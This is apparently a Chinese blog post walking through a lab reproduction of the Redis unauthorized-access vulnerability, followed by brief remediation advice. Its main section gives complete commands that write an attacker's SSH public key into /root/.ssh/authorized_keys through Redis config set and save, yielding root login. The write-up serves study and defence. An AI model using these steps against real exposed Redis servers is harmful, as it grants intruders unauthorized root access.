漏洞复现篇--Redis未授权访问漏洞

Redis未授权访问漏洞

一、漏洞描述

Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。

二、影响版本

Redis 2.x,3.x,4.x,5.x

三、环境搭建

靶机:centos7 192.168.101.141
攻击机:kali 192.168.101.130

靶机安装redis:
1、wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、tar xzf redis-2.8.17.tar.gz
3、cd redis-2.8.17
4、make
5、cd src
6、./redis-server

image

四、漏洞复现

4.1 测试客户端程序redis-cli和redis服务交互

redis-cli -h 192.168.101.141

image

4.2 ssh免密码配置

4.2.1 生成公钥/私钥对

ssh-keygen -t rsa -P ''

4.2.2 将公钥写入 1.txt 文件(文件名随意)

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

4.2.3 连接redis写入文件

1、cat 1.txt | redis-cli -h 192.168.101.141 -x set crackit

2、redis-cli -h 192.168.101.141

3、config set dir /root/.ssh/ //这一步如果失败,尝试在靶机执行ssh localhost

4、config get dir

5、config set dbfilename "authorized_keys"

6、save

4.3 利用私钥登录redis服务器

image

五、修复建议

1、采用绑定IP的方式来进行控制
2、设置密码,以提供远程登陆

参考文章:https://www.cnblogs.com/xiaozi/p/7568272.html

posted @   椰什么子  阅读(41)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示